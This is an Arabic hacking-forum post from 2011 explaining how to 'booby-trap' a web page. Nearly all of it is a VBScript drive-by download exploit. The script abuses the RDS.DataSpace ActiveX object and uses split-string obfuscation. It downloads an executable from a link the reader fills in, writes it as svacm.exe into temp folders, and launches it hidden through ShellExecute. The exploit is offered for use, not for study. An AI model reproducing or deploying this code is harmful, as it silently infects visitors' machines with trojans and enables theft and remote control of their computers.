الرئيسيةس .و .جالأعضاءالمجموعاتالتسجيلدخول

شاطر | 
 

 شرح كيفية تلغيم صفحة انترنت بباتش

اذهب الى الأسفل 
كاتب الموضوعرسالة
hackerx-pro



عدد المساهمات : 158
تاريخ التسجيل : 25/05/2011

مُساهمةموضوع: شرح كيفية تلغيم صفحة انترنت بباتش    الإثنين سبتمبر 12, 2011 2:34 pm


<
html>

<
head>

<
title>Exploit-Protitle>

head>

<
body>

<
script type="text/vbscript">

on error resume next

Set df
= ********.createElement("object")

df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"

str="Microsoft"&"."&"XMLHTTP"

Set x = df.CreateObject(str,"")

var1="Ad"

var2="od"

var3="b."

var4="St"

var5="re"

var6="am"

str1=var1&var2&var3&var4&var5&var6


str5
=str1

set S
= df.createobject(str5,"")

for
count = 0 to 4

S
.type = 1

lnk
="هنا نضع برابط الباتش المرفوع "

x.Open "G"&"E"&"T",lnk,0

x
.Send

set F
= df.createobject("Script"&"ing.FileSys"&"temObject" ,"")

if
count = 0 then tmp = "c:windowstemp" else if count = 1 then tmp = "c:" else if count = 2 then tmp = "c:temp" else if count = 3 then tmp = "d:windowstemp" else if count = 4 then tmp = "d:" end if

fname1= F.BuildPath(tmp,"
svacm.exe")

S.open

S.write x.responseBody

S.savetofile fname1,2

S.close

if err.number = 0 then

set Q = df.createobject("
****l.Application","")

Q.****lExecute fname1,"
INSTALL","","open",0

exit for

else

Err.Clear

End if

next










0
" src=" برابط الصوره هنا نضع"











الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
شرح كيفية تلغيم صفحة انترنت بباتش
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
bladi :: الحماية :: الحماية أجهزة-
انتقل الى: